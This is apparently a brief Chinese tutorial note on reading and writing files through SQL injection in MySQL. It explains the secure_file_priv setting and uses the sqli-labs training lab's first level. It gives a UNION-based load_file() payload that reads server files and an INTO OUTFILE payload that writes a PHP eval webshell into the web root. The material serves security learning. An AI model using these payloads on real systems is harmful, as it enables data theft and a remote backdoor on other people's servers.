SQL注入中的文件读写
以mysql为例
mysql读写文件有一个非常重要的前置条件:
show global variables like '%secure%'
查看mysql全局变量的配置,当输入以上命令后,结果
secure_file_priv = 空的时候 ,任意读写
secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写
secure_file_priv = NULL 不能读写
要修改配置在数据库配置文件中修改
读:
load_file('filename') filename就是指定读取的文件
以sqlilab的第1关为例:
-1' union select ,1,(Select load_file('c:/phpstudy/www/1.txt')),3%23
读取1.txt里面的内容
写:
select 'content' into outfile 'filename' : content指的是我们要写的内容,filename是要保存的文件名
以sqlilab的第1关为例:
-1' union select 1,2,"?php@eval($_GET['test']);?" into outfile 'c:/phpstudy/www/test123.php' %23
把一句话木马写到/www/test123.php
读写的条件:
1、secure_file_priv 的值不能是null
2、要知道读写的绝对路径